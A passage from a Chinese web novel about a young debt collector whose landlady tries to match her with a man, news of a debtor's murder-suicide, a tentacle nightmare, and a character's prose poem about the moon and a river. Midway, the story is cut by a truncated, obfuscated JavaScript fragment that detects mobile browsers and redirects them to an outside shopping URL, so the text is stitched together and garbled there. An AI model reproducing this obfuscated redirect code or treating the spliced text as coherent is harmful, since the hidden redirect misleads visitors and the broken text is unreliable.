这话要反驳起来还真挺麻烦,我只好嘿嘿憨笑了两声认输。 低下头,斜瞟了眼疯子。他正弯眉笑眼地望来,很有些幸灾乐祸。 ——呵,你倒清闲,也不看看我是在帮谁顶雷! “你现在工作了,肯定也知道,生活有多不容易。多一个人分担,就少一点压力。”方姨声音里带了些伤感,“要不是你伯父死得早,剩下我一个,怎么会这样辛苦。这十多年,日子是真的难过呢。” 我抬起头,见她正垂眼盯着碗里的饭粒。我想安慰两句,却找不到合适的话。 但她接着就将情绪都清扫了干净,抬起头来看着我:“你听阿姨一句劝,别白白放掉了到手边的缘分,早些稳定下来。我不会害你的。” 是这样吗……我明明觉得哪里不对,却又想不清楚。 也许她说的也没错吧。 说实话,我其实是有些好奇她要给我介绍的对象的。 方姨看我已经犹豫,弯眼笑道:“不管成不成,先了解一下总没事。” 我没反对。她便接着说:“对方就是我们这市里的,虽然现在还和家里一起住,但她自己也有点积蓄。” 我不知该作何反应,只好放下碗,抬头望着她。 她见我听得认真,也稍向前倾过些身来: “男方家里愿意出房子,说已经在考虑再买套新的了。” ——等等,男方?出房子?我没考虑买房啊。 别是听错了吧…… 我试探着问:“男方吗?” “是啊。那男孩比你只大了一点。都是同龄人,你们肯定聊得来。”她笑吟吟的。 几百匹烈马从我脑门上奔踏而过。 我被“男孩”这两个字雷得里外通透,更雷的却还是方姨那理所当然的口气——它将我的反驳不由分说地压回了嗓子里。 ——难道她想在我身上寻找的,从来就不是什么“正常的程静”? 我又有些看不清她了。 总不能……这一屋的人其实都疯了? 难道这屋子真有什么诡异的魔力,让逻辑都要失效? 怎么连每家每户最老套的催对象情节,在这里都能上演出这样荒诞绝伦的展开?这算什么,化腐朽为神经? 这一幕过于荒谬,我甚至拿不准自己是不是应该笑一个。 我只好面无表情地看着方姨。她只轻轻弯了嘴角,说了句“这事不着急,你先好好考虑”,便低头继续吃饭。 ——方姨她…真的也疯了? 如果没疯,怎么会这样理所当然地介绍“男孩”给我做对象? 除非……方姨要介绍的这个“男孩”,就是疯子。 ——嘶,那她还不如真疯了呢。 而且,“男孩”?只比我大一点? 我转头去瞪了眼疯子——难道是我的那个神话让他误会了? 呵呵,那您老还是回月亮上种树去吧,我可不当狐狸。 疯子却似乎也很有些诧异。他靠着椅背,正若有所思地望着方姨。 ——不对……不是他的主意。 我眼角微微一紧——那就是方姨自己的盘算了。 是因为这两天我和疯子走得近? 疯子显然也马上想到了这层。他抱起胳膊,眯着眼睛直直盯着她,脸上一片阴沉,眸子里却跳动着几星冷火。 我低头扒饭。屋里只有碗筷偶尔的碰响,以及客厅传来的电视声。 忽然,方姨开了口,声音平直:“你要知道,长辈是不可能陪得了你一辈子的,总得趁早给自己找个伴。这样,就算往后有些什么,身边也能有个人照应。” 她说这话时,仍扶着碗,低着头。 ——她这是在劝我,还是在劝疯子? 我想起疯子前两天在书房里的异常,侧头去看了看他——他脸上已经彻底不见血色,手背也灰蒙蒙的。 方姨是想给他找个托付? 还是…“冲喜”?! ……“童养媳”? 她对我这异乎寻常的好,难道从一开始,抱的就是这种打算? 我胸口像硌进了一大坨冰,一下子凉到了后背。 深吸一口气,我定定望向方姨:“方姨,谢谢您的好意。但这事我应该不用考虑了。我接受不了和男的谈对象,我只喜欢女孩。” 她停下筷子,眉头慢慢蹙起:“你说什么?你再说一次。” “方姨,我不喜欢男的。”我清楚地重复,“您介绍的这个对象,我想我没办法接受。” ——没错,我不喜欢男人。 晋江不行。 男的,不行。大叔,更不行。疯子大叔,绝对不行! “啪!” 方姨将筷子重重拍在桌上。 我将双手搭在桌面,屁股压死椅子,安静地望着她。 她站起身,整张脸沉在灯影下。 “你怎么能这样?你听听,你自己说的是什么话!”她一字一咬牙地说。 “方姨,我很感激您对我的关心和照顾。”我望进她眼里,说得很认真,“但这个问题上,我只能说真话。” 她目光钉住我,嘴唇紧紧皱缩到一起,蠕动几下,最终迸出一句: “你真是太让我失望了!” ——唉,不让你失望,难道要让我自己失陷么。 我没吭声,只耸起眉,牵出一个礼貌而无奈的微笑。 她端起碗进了厨房。再出来,就径直扭头去了客厅。 我侧过头,看见疯子仍抱着胳膊瘫坐。他显然并不打算掺和进来。 这样最好。要是彻底撕破了脸,那就太麻烦了。 我三两口把饭扒完,去厨房用水冲干净碗筷,转身回了房间。 经过沙发时,我还向方姨打了招呼。 但她一眨不眨地盯着电视,手里不停拨动念珠,嘴唇无声开合,根本就不理睬我。 ——看来,这里就要住不下去了。 我躺到床上,将整件事在脑子里过了一遍,只觉得处处透着诡异。 不能再待下去了。 可…… 上个月的工资早交了房租和饭钱,我手边连两百块都不到。 现在说要搬,能搬去哪里? 别说找房子,这一出去,光吃饭就撑不到二十号发工资。 想到这,我浑身的力气都流了个干净。 抱着最后一丝希望,我把那几个租房APP重新装回手机,反复刷新了一整晚。只是,刷到哪里,也全都是一个价——我租不起的价。 ——看来,总得找一边低头了。 就看是哪边。 经过昨晚那一闹,我以为方姨不会再搭理我了。 意外的是,第二天早上,她仍旧喊我吃早饭,也仍为我准备了午饭的便当。 她还沉着脸,却一句没提让我搬出去,或者自己解决三餐的事。 我谢过方姨,为昨天自己生硬的态度道了歉。 “这事以后再说,你好好上班。”她垂下眼,嘴又抿了起来。 于是,我照常去上了一天班。 唯一不同的是,我没回去吃晚饭。我给方姨发了信息:又要加班。 我想,只要尽量减少和他俩的接触,或许就能将关系拉回到单纯的房东与租客。撮合我和疯子,终究只是方姨的一厢情愿。反正只要我不搭腔,这戏光她自己也唱不下去。 就像地毯下积的灰尘。你既然知道它就在那里,那么该做的就只有一件事——别掀开地毯。 再天亮,就到了中秋的前一天。 我早决定好中秋不回家——何必赶这个时候回去,让彼此不痛快。就像疯子说的,他们未必真的需要我。而我对他们的需要,也不到非回家不可的地步。 我需要的,是身份证——这得趁他们不在家时去取。节假日,显然不行。 既然不回家,就得再另找个地方呆着了。 我半心半意地想着这些,将热好的饭菜送进嘴里。 这正是午休时间,我坐在自己工位上吃中饭。 “嘿,晋江行!”斜对面的邹凯却突然喊了我一声。 难得,他竟主动和我搭话。 我一抬头,就见他越过隔板,探过头来。 “怎么了?”我放下勺子。 “你还记得那个肖勇平吗?”他语气急切,眼里跃着兴奋。 “肖勇平?”我望着他尖尖嘬起来的嘴,没反应过来。 “就是你刚来的时候,收回来的那个8期!” “哦。他啊。”我轻轻皱眉,“怎么了?” “他死了!”他声音忽地拔高了两度,两颗苹果肌高高隆起,嘴角也高扬着,“群里的消息。哦,我们几个老人的群,你没在。说上午警察局还来了人,到上面把他的催收记录都查了一遍。” ——死了? 脑子里空一下。我对那人根本没什么印象,只因为提成实在丰厚,才记得这么个单子。而且,这笔单完成得太轻易了——他老婆二话不说就把款给还了。 看我呆住,邹凯便自顾自地滔滔往下讲—— 原来,这肖勇平是个惯赌。他之前也是做生意的,但生意没做成,赌债倒欠下过100多万。那时,他跪在老婆面前痛哭流涕,赌咒发誓说一定悔改。于是,他老婆借遍了亲友,替他还上了赌债。谁知道,还没安生一年,没完没了的催债电话就又打到她手机上。原来,这一年来,肖勇平还一直在偷着赌博,他借遍了所有平台,再加上套卡、高利贷,已经又欠下了快200万。 欠我们公司的那点钱实在只是冰山一角。 要不是那时候他们家还没东窗事发,恐怕那2000多都拿不回来。 等到终于彻底爆了雷,他老婆绝望之下,就给他喂了安眠药,在他睡着后,十多刀将他捅死了。之后,她自己也喝了农药。 因为案件性质过于恶劣,警察局往相关网贷平台和放贷公司都派了人。他在我们这边欠的少,其实只是例行调查。 “也算你走运。要是查出来你催款过程中有什么违规,你就要有大麻烦了。”邹凯说完,冲我嘿嘿笑了两声。 我也抬起嘴角向他笑笑,感谢他向我分享了情报。 再低下头,我却没了胃口。饭菜已经不热,我干脆拿出去倒进垃圾桶里,再去厕所将饭盒洗干净。 但脑子却没办法一下子清理干净。下午我还是静不下来,搜索客户信息时一直走神想那个肖勇平的事。 捱到6点,我关上电脑就直接下了班。仍是给方姨发条短信说要加班,然后又一个人去了河边。 我原想沿着河边走走,到了地方却觉得疲惫得很,于是就只找了个石头墩子坐下,盯着河水发了半个多小时呆。 有两个人被债务拖下了水。 就像石头沉进这河里——咕咚一声,冒几个泡,就永远消失了。 我耳朵里响起肖勇平老婆那平板的声音,寻常得就像马路上的每一次擦肩而过。 一个照面,就是一张照片,就是一个平面。它背后,是折叠压缩的人生,封在相纸下面,无迹可寻。 这世界便是由无数照片组成的。它们被扔得到处都是,每一张又都没头没尾。 于是,有人莫名其妙地来,有人做着莫名其妙的事,有人莫名其妙地去。 来来去去,将世界布成了个巨大荒诞的舞台。 人是照片,也是镜子。 那么,这些镜子中,又能照出些什么? 能看见的,永远只有最表面那层啊。 我以为看见了疯子的背面,以为拼出了迷宫的地图。 但,这就是全部真相了吗? 它们,都是真的吗? 我看向河心,那里月亮已经很圆。 水面是月亮的照片,只映着它的亮面。 我再抬起头,望向天上—— 那也不过是另一张照片,是月亮投在我视网膜上的幻影。 无论看向哪里,我都看不到它的背面。 可我,需要看见它的背面吗? 疯子,又为什么想看它的背面? 又一阵风吹过。我忽然觉得有点冷,起身往回走。 快中秋了,河边还是太凉了一点。 走进小区,我闻到了浓烈的桂花香。它们一个劲地往我肺里扎,往我脑子里钻,像是要驱赶走全部阴霾。 是啊,马上就是中秋了。 我推门进屋时才7点刚过。 方姨看我回来得早,便不肯理会我已经吃过的说辞,非让我再吃一点。 我只好坐了过去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001299|193953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 也许,我原本就想和谁一起坐一坐。如果可以不说话的话。 方姨往我碗里夹了块肉,视线细细地落在我脸上:“小晋啊,你们这两天又忙起来了吧?眼见着下巴就又尖了,脸上一点肉都没有。” “谢谢方姨。是有点忙。”我牵起嘴角。 “明天是中秋了,中秋节总该放假吧?”她也微笑起来,将眼角的皱纹又堆叠起。 “嗯,放假。” “你还记得,之前方姨说要给你介绍的那个男孩子吗?”她放下筷子,双手在桌上交叠,身体微微前倾,“他明天正好有空。阿姨想,你平时忙得很,要不我替你们约着明天见个面?” ——还需要约见? 我转头望向疯子。他也同样面露愕然,正皱着眉望着方姨。 原来不是他?那就更莫名其妙了。 “方姨,我这段时间工作很累。好不容易有个假期,我想自己好好休息一下。”我脸上的笑就快要挂不住。 “就是因为你这工作太辛苦,我才这样着急帮你找对象。”她语气急切起来,嘴唇在灯光下一张一合,“那边家里是做生意的,条件很好。这要是成了,你就用不着这样大压力了。那男孩说,不在乎你有没有工作。等你过去了,在家里帮忙,或者不做事,光呆着也行。” “这不比你上班强多了?又轻松,又稳定。” ——这是给我找了个软饭碗?还是个从男人手里讨饭的软饭碗? 我一阵愕然。面前这位端庄严肃的老太太,对这事的接受度未免也太高了点。 我又瞟向疯子—— 他当年的不堪经历,和她的接受度,到底哪个是因,哪个是果? 疯子眉头依然蹙着,眼睛却已垂落下去,正盯着自己在桌上胡乱划拉筷子的手。 “方姨,我没办法接受男的。”我望向方姨,笑容已收得干干净净。 方姨也收起笑,沉默地盯着我,脸颊抖了几抖。半晌,她正回了身子:“你自己的人生,你要自己把握。我告诉你,有些路,错过了,就再也走不回来。” 我也沉默下来。低下头,将筷子搁到碗上。 这饭,是没法吃了。 方姨的声音却追了过来:“小晋,你别以为自己还年轻,还有的是机会。喜欢归喜欢,生活是生活,过日子就得有过日子的样子。你这样清高,做给谁——” “啪!” 一声炸响,打断了方姨的话。紧接着是“哐啷啷”一阵碎瓷溅落的声音。 是疯子。他把自己饭碗砸了。 我向外深深吐出了一口气,又低下头去看自己摊在大腿上的手。嘿,我这手指还挺修长。 耳边是方姨和疯子争吵的声音。他们的喊叫声很大,我却不太能听清在喊些什么,也想不明白怎么突然就吵起来了。 喊声中还掺了些别的稀里哗啦的声音,大概是又有什么东西掉到了地上。 这吵得也太凶了……唉,于情于理,我还是得去劝一劝。 我只好抬起脑袋,拽起身子,试图站到中间,去拦一拦疯子,挡一挡方姨。 但我一个都劝不住,反倒被吵得头痛欲裂。 于是,我干脆扔下他俩去了楼下,坐在小区门球场低矮的石头围栏上,发呆晒月亮。 这晚的月亮真静啊。 我不知道自己在那坐了有多久。最后,我是被半夜的低温冻回去的。 我也不记得自己都想了些什么。我脑袋里就像在低温慢煮一锅粥,好像什么都想了,又好像什么都没想。所有的念头都被拆散得七零八碎,和旁的念头掺和在一起,翻搅成湿哒哒、黏糊糊的一坨,再也认不出谁是谁了。 我浑浑噩噩,甚至不记得自己怎么走回来的。 我只记得进屋时,屋子里黑漆漆的一片。只有餐厅那点红光还在一起一伏。 等我倒在床上,满脑子还剩下的就只有浓烈的桂花香啦。 第二天早上,我是被噩梦惊醒的。 梦里,我到了月亮上,看到了它的背面。 月亮的背面坑坑洼洼,就跟随处可见的月球照片上的一样。只是,因为不见太阳,这里光线暗沉,带着红色,就像洗照片的暗房。 我站在月亮干燥的砖红色沙土上,认真凝视身前的一个土坑。 土坑震动起来,突然出现了一道裂缝。裂缝越来越长,越来越宽,又分裂出许多更小的裂缝,就像织出来一张网。网下面,有什么东西正要出来—— 那东西扭动着向外直拱,将土坑拱得上下起伏,高高隆起,翻出阵阵湿热的泥土腥气。 终于,它拱了出来。那是一截猩红的肉肢。 肉肢不停地扭动,向天空的方向延伸,就像蜿蜒的藤蔓,或者章鱼的触手。 它不断向上,长到一张饭桌,一辆卡车的粗细,顶端比六层小楼还要高。 我向上仰望,看见那顶端开出朵血肉之花。 花裂开成四瓣,每一瓣都向下翻开,露出里面白森森,密麻麻的尖牙。那是它的口器,正滴下来透明粘稠的涎液,带着甜腻的腥气。 周围,到处都是这样的土坑。它们,全都拱出来这样的肉肢。 它们扭动着伸向天空,向着天空张开了猩红的大口。它们不停地钻出,不停地长高,变大,快要占据满这月亮上每一寸土地。 同时,肉肢上又拱出来无数的肉芽,肉芽迅速长成了小一号的肉肢。它们向四面八方蔓延出去,顶端也绽放出了布满了尖牙的口器。 小一号的肉肢上也在不断拱出肉芽,肉芽又继续长成肉肢…… 目之所及,到处都是肉肢,到处都是肉芽,到处都是黏液,到处都是口器。 每一条肉肢都在奋力地生长,它们扭动着,挥舞着,狠狠撞向旁边的肉肢。它们纠缠着,扭打着,撕咬着,急不可耐地吞咽下扯下来的每一块肉。 每一条肉肢都血肉模糊,每一寸肢肉上都挂满了厚厚的、亮晶晶的粘液。 这里是一片无尽翻涌的猩红海洋。 我僵在原地。 一阵风不知从哪里吹来。风中,是沙土挤压和地面破开的声音,是肢体撞击的声音,还有湿哒哒的咀嚼声…… 我感到十分惊讶。 然后,我似乎察觉到了什么,低下头看向了自己身下—— 我的胸部以下,不知何时,也全都变成了猩红的肉肢。它深深扎在土里,连接着月亮最深最深的地底。 我抬起右手,原来那也是肉肢,它正扭动着向上蔓延。用不了多久,它就比我整个人都高啦。 我呆呆看着那截从我胳膊上伸出的肉肢,看着那上面钻出的肉芽,肉芽长成的肉肢。 一条格外粗壮的肉肢伸向我。它巨蟒般扭动,蜿蜒,探到了我眼前。 于是,它的顶端分裂成四瓣。垂着涎液,向我露出来那层层叠叠,细细密密的白色尖牙—— 这就是我醒来前最后看见的画面。 10. Chap.09 荒诞与真实(下) 从梦中惊醒,我迷迷糊糊的一时想不明白自己是在哪。 好一会儿,才反应过来,这是方姨家。 瞬时头痛又回到了我身上——脑子里又戳满了她和疯子的叫喊、东西落地的声音、忽明忽暗的红光、浓郁的桂花香…… 是啊,昨晚上疯子和方姨吵起来了。但吵架的虽然是他,事情却是因我而起—— 这下,是真住不下去了…… “唉。”我重重叹出口气,抬起胳膊,挡住窗户打下的阳光。 “这下,不得不认真考虑回家这个选项了。” 这话在我心头落下。嘴角一扯,“哈哈哈”的低笑就干巴巴地从喉咙里滚了出来。我终于决定承认—— 我当初从家里跑出来,是为了赌气。现在迟迟不肯回去,更是为了赌气。 我的所有挣扎都只是为了证明:我能独立。我并不像他们说的那样需要他们。 但,我是在向谁证明呢? 向我自己?不,是向他们。 多可笑—— 我这证明,难道不正是我需要他们认同的铁证? 我陷在土里,宣称着自己能完全脱离地心引力…… “哈哈……”我又震出几声笑来—— 但或许,事情也没那么糟。 至少,我还可以选择需要什么—— 是继续困在这里,依赖他们的精神认可? 还是承认现实,依赖他们的物质庇护…… ——无论如何,我都逃不脱这依赖。 事情就是这样可笑。 至于他们—— 他们真的需要我吗。 他们需要的,是我这个现实中活生生的人,还是那个想象中我该成为的样子。 他们真的需要我变成那样吗。 而我,真的需要变成他们要我变成的样子吗。 我不知道。但这些问题,却关系着我“要不要回家”。 我放下胳膊,摸起手机。一按,屏幕亮起——竟然已经11点多了。 但我还是一丁点儿也不想起床。 我将脸蒙进被子,继续想些乱七八糟的事—— 房租是押一付一。理论上,我只交到了九月底。但如果把押金也算上…… 要不…再挣扎一下? 先去把身份证拿了。只要熬到二十号发了工资,路就宽了。 167块,吃十五天,一天…11块。 问题应该不大。 但还得留钱坐车…得算着点花…… 我沉在被子下,望着黑暗中五颜六色的数字。突然的一阵敲门声却刺破了这黑暗,接着是方姨的声音: “小晋,你起来了吗?你早饭没吃,中饭总得吃吧?” ——她居然还喊我吃饭? 我愣了愣,忙答应一声,一掀被子就翻下了床,抓起衣服就往身上套。 套到一半,动作却慢了下来—— 该不该再和他们一起吃饭? 昨晚上已经撕破了脸。她要是再一个劲给我捧软饭,这饭还吃不吃? 正想着,胃却猛地抽了一下,肠子也跟着一唱一和。 ……唉。 走一步看一步吧。至少,得先把眼前这顿对付过去。 走到餐厅,桌上饭菜已经摆好。 疯子也在,仍坐在靠窗的椅子上。 一切照旧,平平常常,普普通通,和之前任何一顿饭都没差别。 除了,我们几乎没说话。三个人吃得异常沉默。 除了,疯子的眼睛不再漠然空洞,填满了一种他身上从未见过的滞重。 这顿饭他吃得很少,比平时还少上许多,甚至连一口菜都没夹。 他早早放了筷子,靠在椅子上,抱着胳膊,静静看着我们。 就是这时候,我看见了他眼里的悲伤。 昨晚一定发生了什么。 这样的表情…… 他…是知道了什么? 不知怎的,他眼里的悲伤,沉甸甸地压在了我的胸口。 下午三点多,我终于又站到书房门前。指节叩上门板的瞬间,我狠狠唾弃了自己——这算什么保持距离。 里面传来一声“进来”。 我拧动把手,侧身进去,反手轻轻将门带上。 这次,他也坐在书桌前,什么都没做。 但和上次不同的,是他眼里的悲伤——浓得快要流到地上的悲伤。 他一定知道了什么。 见我进来,他没有刻意隐藏眼底的情绪,只是将它们调得淡了一些。 我在窗台边的椅子上坐下,向他看去:“疯子,昨晚真要谢谢你。要不是你,我真不知道怎么办。” 他将椅子转过来,挑了挑右嘴角,却随即低下头,视线沉入地板的缝隙里。 “你和方姨后来还好吧?我回来时,你们都睡了。”我也望向那条缝隙。 “没什么事。”他口气淡淡的。 “你为什么要帮我?”我抬起头,看着他乱蓬蓬的头顶。 “我不太喜欢她说的那些话。”他声音没有波动。沉默了半秒。“我本来没想和她吵的。” “但总是这样,”他肩膀微微抽动一下,像个做到一半的耸肩,“不知道怎么就吵起来了。” “不管怎么说,谢谢你。”我束起眉心,微微一笑。 他抬头看了我一眼,嘴角也弯出道浅浅的弧。 那笑里混杂了太多东西,我分辨不出。 他目光在我脸上停留了两秒,忽然说:“我想明白了,我的方程。” 心口猛地一缩。随即,我瞪圆些眼睛,让眼神清透,显露出好奇来。 他却轻轻哼笑一声,垂了垂眼。 ——他看见了。 他知道——我知道。 “你进来前,我正在想一个问题——重要的,到底是方程还是解,是风水还是人,是镜子还是我。”他将目光楔进那条缝里,自顾自讲了起来, “我在想,如果没有镜子,我能知道我是我吗?我能知道的,只有镜子里变形的那个我。无论我原来是什么样,都只能照着镜子里的样子去长。而我变成的样子,又继续在那里面被扭曲成新的模样。于是,我永远不停地变下去。” 他又从鼻腔里哼出声笑来,发丝轻轻颤了颤。 “所以,我是什么样,从来都不重要。重要的,是那些照着我的镜子。” ——那些镜子…… 方姨,邻居,我…都是他的镜子。 “方程也是这样。你知道恒等式和矛盾式吗?”他终于停下,抬起头来看了我一眼。 我没听说过,但能有些大概的猜测。 见我迟疑,他也没解释,又低下头,喃喃道: “我的方程是一元的还是多元的,是超越的还是递归的,这些都不重要——重要的从来不是有几个解,取什么值,而是方程本身。它规定了全部可能性。一旦被写下来,解也就定下来了。 “它才是那个真实存在的东西。” 听到这话,我的背一僵,腹中却空落落的—— 他说的,早就不是镜子和方程了。 说完这些,他才抬起头,目光掠过我,投向窗外。 我盯着他的眼睛,那里面正发生一场战争——欣喜和失落的战争。他的嘴角,上面是苦涩的微笑。 “是这样么?那些被写出来、摆在外面的东西,才是真实的存在。”沉默了好一会儿,我轻声问。 他望向我,没有说话。 “但是,人是什么呢?你是什么?我是什么?”我一个字一个字问道,手指抓进了大腿,“我们,难道都不真的存在吗?” 他还是不说话,眼里却突然涌起一片阴翳,悲伤浓重得几乎要压破镜片。 “我不相信这些。我也不愿意相信,你并不真的存在。”我目光紧紧锁住那片悲伤,“我这里,也有个关于镜子的答案——无论面前有多少面镜子,你在哪里,哪个就是真的你。永远只有一个真的你。” 疯子眉心猛地向上一耸,眼里有什么突然碎掉。 他马上把脸转开了。 我停下来,转向窗户。 窗外阳光充沛。天空被调入了某种暖色,从湛蓝变成更浅更柔的青碧。很远的地方,还点了几笔不知什么建筑的小小屋顶。 我望了半天,才放慢了语速说:“你是你,镜子是镜子。原本就是先有了你,镜子上才能有你的影像。它们只是一种反射。就像之前,你讲的那个梦——月亮是亮的,是因为它反射了太阳的光。” 说完,我将头转了回来。 疯子的头也慢慢抬了起来。他的眉头蹙起,下巴深皱,眼里一片空茫。 “月亮是反射了太阳的光。”他忽地一声轻笑,低声念出这句话。起身走到了书柜边,倾下身,目光从书背上扫过。 “这里。”他指尖落在我左侧半米处的一本书上,轻轻敲了两下。 “《理想国》?”我伸头去看清了书名。 “嗯。”他将书抽出来,捧在手上随意翻动。 ——他想到了什么? “月亮反射了太阳的光,她也是面镜子。”书页在他拇指下飞快滑过。他将书换到右手,侧身往柜子上一倚,慢条斯理地说:“只是,我们生活在永夜,只看得见月亮。” 我还是没听懂,却没再追问。 他坐回转椅,随手将书扔在桌上。 他脸上阴云散去,又变回了那个淡淡的疯子。甚至比之前还要淡,淡得快要融进这书房的空气里。 我探身去拿了那本《理想国》,坐回来随手翻了几页,却不怎么看得进去。于是,我只好又将它放回桌上。 一时间我们都没再说话。书房里很安静,外面不知道从哪里传来几阵清脆的鸟叫。 阳光薄薄罩在飘窗墙上的那副画上,月亮和桂树都晕染上淡淡的金橘。画上仿佛荡起来岁月悠长的回声。 直到,又一声轻笑打破了它。 疯子笑完,忽然问:“还记得之前说的‘七宗罪’吗?” “嗯?”我转向他。他却正望着那画,镜片上还映着画上的金橘。 “你说对了。这屋子里,还真有‘七宗罪’。”他微笑着,笑容却有些僵滞。顿了顿,他接着道: “只是,你少算了两个人。” ——少算了两个人…方姨和程峰? 我脑子里飞快地将几名“房客”和“七宗罪”过了一遍。 “破鞋是贪婪。”他看向我,嘴角的弧度没变,眼神却突然深了下去。 ——他果然全都记起来了。 我心中一荡,像被扔进块冰冷的石头。 破鞋竟然是贪婪。 如果她是贪婪…程峰就肯定是□□。 “方姨她……是嫉妒?”我皱眉望着他。 他像是正等着这个回答,听到后对着我眨了眨眼。 然后,他站起身,原地伸了个懒腰。 “晚上陪我去做件事吧。”他歪歪脑袋,“现在我觉得,有人陪着好像也不错。” “哦,什么事?”我的视线跟着他抬了上去。 他转身拉开书桌抽屉,从里面取出几张纸递过来。正是之前见过的A4纸,上面也写满了钢笔字。 “青词?”我伸手接过。 “嗯。” 我快速扫了眼标题——第一行就是:《月亮和大河》。 ——不愧是疯子写的,命名一如既往地直白。 我抬头望他:“你还真每周都写篇青词啊?” “这篇写了挺久了,只是上午又加了两句。没别的。”他的眼神半隐在额发下。 “哦。”我应了一声,低头往下浏览—— “大河沐浴在月光里。月亮高悬在夜空上。 月光将大河染成了银白。 大河遥遥正望着月亮。 大河里,每一颗水珠都拥挤着,推攘着,奔涌向她。 它们争先向上,好让她看见自己,好接住更多月光。 但那月光,每一道月光,都只来得及轻轻啜上一口,就轻轻巧巧地飞走了。 它们高高跳起,朝着月亮欢声叫喊:‘带我走!带我走!’ 但刚跳起亿万分之一的距离,就又重重跌了回去,跌回河里。 大河接住每一颗水珠。水流摇曳安抚它们,轻轻推它们向前,奔赴下一场跳跃。 大河也深深恋慕月亮。它也夜夜仰望着月亮。 它的声音浑厚深沉: ‘你看到吗?我的每滴水珠都奔向你。它们奔涌的,是我的心跳。 你听到吗?我的每朵浪花都歌颂你。它们歌唱的,是我的心声。 它们迫不及待要拥抱你,拥抱你的月光。 是这拥抱,让我也带上你的色彩,月光的色彩。’ 它将她的影子安在河心,那里满是柔情。 它荡起涟漪,痴痴叨念: ‘我望着你的时候,你也一定正在望着我吧? 要不,为何我也有了你的皎洁。我粼粼的水光,正是你盈盈的目光。’ 清风拂过水面,听见大河的痴念。它大笑起来: ‘月亮望不见你。她的目光遍洒大地,从不独爱一方。 这世上有千万条河流,无数片湖泊,还有那无边无际的海洋。它们都在望着月亮呢。 而月亮,月亮望着的只有她自己。 你们啊,都只是她的镜子哩!’ 笑声吹散了大河的热切。它低落下去,害怕清风说的都是真的。 它是这样夜夜守望着她。百千万年,望着她升起落下,望着她圆了缺了,望着她朗照万里,望着她黯然神伤。 它是这样了解她。清楚她的每个表情,白天就能猜出晚上她的模样。 可她呢? 她知道它的模样吗?能分辨它的表情吗? 她可听见了它的呼唤?为何她永远清冷,为何…她从不回答? ‘她看不见,也听不见我。就像看不见,也听不见我的水珠。’大河明白过来,‘她从未在乎过我。甚至,她从来不知道有我。’ 哀恸压垮了大河。它的水面不再光亮,它的声音不再昂扬。 它沉沉向下陷去,呻吟着躲向地底。 ‘我不会再让月光将我照亮,也不会再让月亮从我身上看去分毫。 我不会……不会再出现在她面前。’ 水面越来越低,越来越低。忽然—— 它嘶鸣起来,鸣声震动天地: ‘不!不!我不能就这样离开!’ 它卷起狂波,裹挟泥沙与断木。它惊起巨浪,将岩石碾为齑粉。 它推倒森林,夷平山丘,吞没田野,将所到之处都化作一片汪洋。 那是它最后的绝望。 ‘我定要让她看见,让她知道—— 我的眼眸,是她最亮的镜子。我的胸膛,是她最好的摇篮!’ 月亮并不回应这悲鸣,她连月光都是沉默。 回应它的是清风。清风在狂涛间飞旋,声音苍茫,蓄着怒气: ‘好大的口气!你说你望了这月亮百千万年, 但你可知道,月亮她望了这大地何止千万亿年! 那时候,别说你,这大地上连一滴水都还没有。 也没有我。地球都还只是个婴孩。 你该听听,你身下这片大地对她的呼唤。 最好的摇篮?呵!’ 大河迟疑了。 巨浪凝在半空,它向四周看去。 它看见被月亮照亮的大地,大地上到处是她的身影—— 岩石铺陈的银霜,是她的年轮。树叶流淌的莹光,是她的呼吸。 鸟兽覆盖的白帐,是她的脉搏。山峦起伏的皓彩,是她的生机。 到处都是她,到处都是月光。 ‘这就是她望着的大地,她望了千万亿年的大地。’ 巨浪轰然落下。大河跌回地面。 它安静下来,贴伏在大地上。 于是,一片寂静中,它听见了。 它听见了,鱼儿在吐泡,碎石在翻滚。它听见了虫子振翅,树叶沙响,小鸟清啼,洞穴深叹。 它听见了所有声音,听见它们从喧杂纷乱,渐渐汇成同一声诵叹: ‘我们是如此爱她,爱这个她照亮的世界!’ 它也听见了—— 地心深处的古老密语,空中神祗的悠远吟唱,与地面上万千生灵的浩渺和鸣。 它们用不同的声音,唱响同一句咒语—— ‘如此甚好,如此甚好。’ 这声音,原来一直都在。原来,它已经响了千万亿年。 声音中,大河看向自己—— 一条银白的长带。 河心一片清亮: ‘她望了这大地千万亿年,也照了这大地千万亿年。 我因她而皎洁。我身上,流淌着她的颜色。 是她,让长夜有了形状,也让我,有了形状。 她是在望着我啊——只因我,是这万物中的一员。’ 大河沉稳下来。 它捧出最澄净的河水,好让月亮照得清楚。 它清洗河岸,滋润大地,让每一寸土地,都成为月光下最生机盎然的风景。 它望向夜空,望向空中的月亮。 ‘你看到吗?这为你呈献的大地。 你知道吗?我的每颗水珠,它们仍在向往着你。我的每朵浪花,也依旧唱着给你的颂歌。’ 水波悠荡,轻轻拢起月光: 月光,无法两次照亮同一条河流。河水,也无法两次接住同一片月光。 ‘我永远都是新的我,你也永远都是新的你。 我们相遇在这永恒的变幻,却是变幻着的永恒。 而我的爱,便是这相遇本身!’ 它遥遥仰望夜空,沐浴在这恒远的光辉。 ‘我将永远爱你。 以我的源头,奔流,河口。以我的过去,现在,未来。 我是如此爱你,爱这个你照亮了的世界。’ 跟随亘古的节拍,大河低低吟唱起来: ‘如此甚好,如此甚好。’” 读完,我抬头看向疯子。写出这热情字句的人,正冷脸抱着胳膊发呆。 ——又是变着法地表达对月亮的爱恋。看来这就是他永恒的主题了。 我心里叹上一声,清清嗓子,举起了手中这四张纸:“这也是要烧给月亮的?” “嗯。”他应了一声,却仍没有完全挣脱空茫。 “好吧,我好像已经习惯了你的烧包。反正不管写得怎么样,都是用来烧的。”我无奈地将纸递还给他,“所以,是要我陪你去烧青词?” “嗯,等晚上一起去天台。”他接过纸,放在桌上,嘴角翘起几不可查的一点。 “晚上?你不是不能晒月亮吗?而且,”我掏出手机又确认了一遍,“今天是周一啊,Moon Day。” 他的笑更深了:“今天是中秋,就该看月亮。何况,我找到我的路了。” 